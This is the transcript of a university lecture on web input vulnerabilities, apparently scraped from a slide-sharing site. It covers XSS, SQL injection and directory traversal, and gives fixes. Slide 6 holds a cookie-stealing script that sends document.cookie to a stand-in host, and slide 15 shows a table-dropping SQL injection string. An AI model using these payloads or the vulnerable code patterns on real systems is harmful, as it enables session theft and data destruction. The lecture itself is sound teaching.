secure software engineering input vulnerabilities n.
Skip this Video
Loading SlideShow in 5 Seconds..
Secure Software Engineering: Input Vulnerabilities PowerPoint Presentation
Download Presentation
Secure Software Engineering: Input Vulnerabilities

Loading in 2 Seconds...

play fullscreen
1 / 26

Secure Software Engineering: Input Vulnerabilities - PowerPoint PPT Presentation

  • Uploaded on

Secure Software Engineering: Input Vulnerabilities. CPSC 410. Input Vulnerabilities. We all know not to run “ code ” retrieved from suspicious places But passive “ data ” may be interpreted as malicious instructions System.out.println( “ / etc/password ” ); vs.

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

Secure Software Engineering: Input Vulnerabilities

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
    Presentation Transcript
    1. Secure Software Engineering: Input Vulnerabilities CPSC 410

    2. Input Vulnerabilities • We all know not to run “code” retrieved from suspicious places • But passive “data” may be interpreted as malicious instructions System.out.println(“/etc/password”); vs. File file = new File(“/etc/password”);

    3. 3 Most Common Input Vulnerabilities on Web 1. Cross-site Scripting 2. SQL Injection 3. Directory Traversal See - the Open Web App Security Project

    4. Cross Site Scripting Web browsers should only execute JavaScript from sites that you visit But … Web sites often echo values given as input, e.g. Input:‘Eric’ Output page: Hello Eric If we put JavaScript into an input, an output page could include that JavaScript! The tester must assume every data entry point is a possible XSS hole.

    5. Example: Invectus on Macdonald’s queryText=%22%3E%3Cimg%20src=%22 queryText=”><img src=”” height=”650″ width=”1000″> Source:

    6. Malicious Script Input • Basic example (assume URL encoding)<script>alert(“Hello World”)</script> • Steal user’s cookies <script type='text/javascript'> var img = document.createElement('img'); img.setAttribute('src', ‘http://localhost:8080?cook=' + escape(document.cookie)); document.body.appendChild(img); </script>

    7. GWT vulnerabilities • JavaScript on your host page that is unrelated to GWT • Code you write that sets innerHTML on GWT Widget objects • Using the JSON API to parse untrusted strings (which ultimately calls JavaScript's eval function) • JavaScript Native Interface (JSNI) code that you write that does something unsafe (such as setting innerHTML, calling eval, writing directly to the document via document.write, etc.) Src:

    8. InnerHTML example <html> <head> <script language="JavaScript"> function fillMyDiv(newContent) { document.getElementById('mydiv').innerHTML = newContent; } </script> </head> <body> <p>Some text before mydiv.</p> <div id="mydiv"></div> <p>Some text after mydiv.</p> </body> </html>

    9. GWT Guidelines • Carefully inspect and strip or escape any strings you assign to innerHTML using GWT code • Carefully inspect any JavaScript strings you pass to GWT's JSON parser • Carefully inspect any strings you pass to eval or assign to innerHTML via a JSNI method • Take care in your native JSNI methods to not do anything that would expose you to attacks

    10. Best Solution • Filter any data which is echo’d back to HTML • e.g. • String input = request.getParameter(“data”); String clean = new HTMLInputFilter().filter( input );

    11. Simple Web App • A Web form that allows the user to look up account details • Underneath – a Java Web application serving the requests

    12. SQL Injection Example • Happy-go-lucky SQL statement: • Leads to SQL injection • One of the most common Web application vulnerabilities caused by lack of input validation • But how? • Typical way to construct a SQL query using string concatenation • Looks benign on the surface • But let’s play with it a bit more… • String query = “SELECT Username, UserID, Password • FROM Users WHERE • username =“ + user + “ AND • password =“ + password;

    13. Injecting Malicious Data (1) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob' AND Password = ‘********‘”

    14. Injecting Malicious Data (2) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’-- ’ AND Password = ‘‘”

    15. Injecting Malicious Data (3) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’; DROP Users-- ’ AND Password = ‘‘”

    16. Heart of the Issue: Tainted Input Data SQL injections application database evil hacker Web App input evil input output browser cross-site scripting Insert input checking!

    17. Bobby Tables

    18. Mitigating SQL Injection • Always use Prepared Statements or Stored Procedures • Instead of: stmt.execute( "UPDATE EMPLOYEES SET SALARY = “+input1+“ WHERE ID = “ + input2 ); • Use: PreparedStatement pstmt = conn.prepareStatement( "UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?“ ); pstmt.setBigDecimal(1, input1) pstmt.setInt(2, input2) • The account used to make the database connection must have “Least privilege.” If the application only requires read access then the account must be given read access only. • Avoid disclosing error information: Weak error handling is a great way for an attacker to profile SQL injection attacks.

    19. ‘SQL’ injection on GWT • More a vulnerability of the RPC services • Could send arbitrary data to your datastore (once the Javascript is de-obfuscated) • Also possible to do JDOQL injection • Use Query object and parameters instead of String syntax Query query = pm.newQuery(Employee.class); query.setFilter("lastName == lastNameParam"); query.setOrdering("hireDate desc"); query.declareParameters("String lastNameParam"); … List<Employee> results = (List<Employee>) query.execute("Smith"); query.closeAll();

    20. Recent Examples • On March 27, 2011, the official homepage for MySQL, was compromised • On June 1, 2011, LulzSec steal information from Sony PS3 users • In August, 2011, Hacker Steals User Records From Nokia Developer Site

    21. Directory/Path Traversal See Occurs when user input is used to create the path for reading a file on disk String file = request.getParameter(“photo”) new File(“/images/” + file);

    22. Directory Traversal Malicious input: • Has been used to retrieve • “web.xml” files • Apache conf files • UNIX password files • Other example You let user choose between different style templates and save the template filename in their profile

    23. Example 2 • • • In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. • dir/some file • dir/some file

    24. Best Solution • Don’t construct file paths from user input • Understand how your web server handles file access. • Create a UUID (Universally Unique IDentifier) for each file and save as a column with data uuid = UUID.randomUUID().toString() File savedFile = File(uuid); • Example database table for images

    25. 2 Rules to Remember • Always assume many users are malicious and want to break your software • Don’t assume a Web site is always accessed through a normal Web Browser Famous last words, “I wrote the JavaScript so that this would never happen”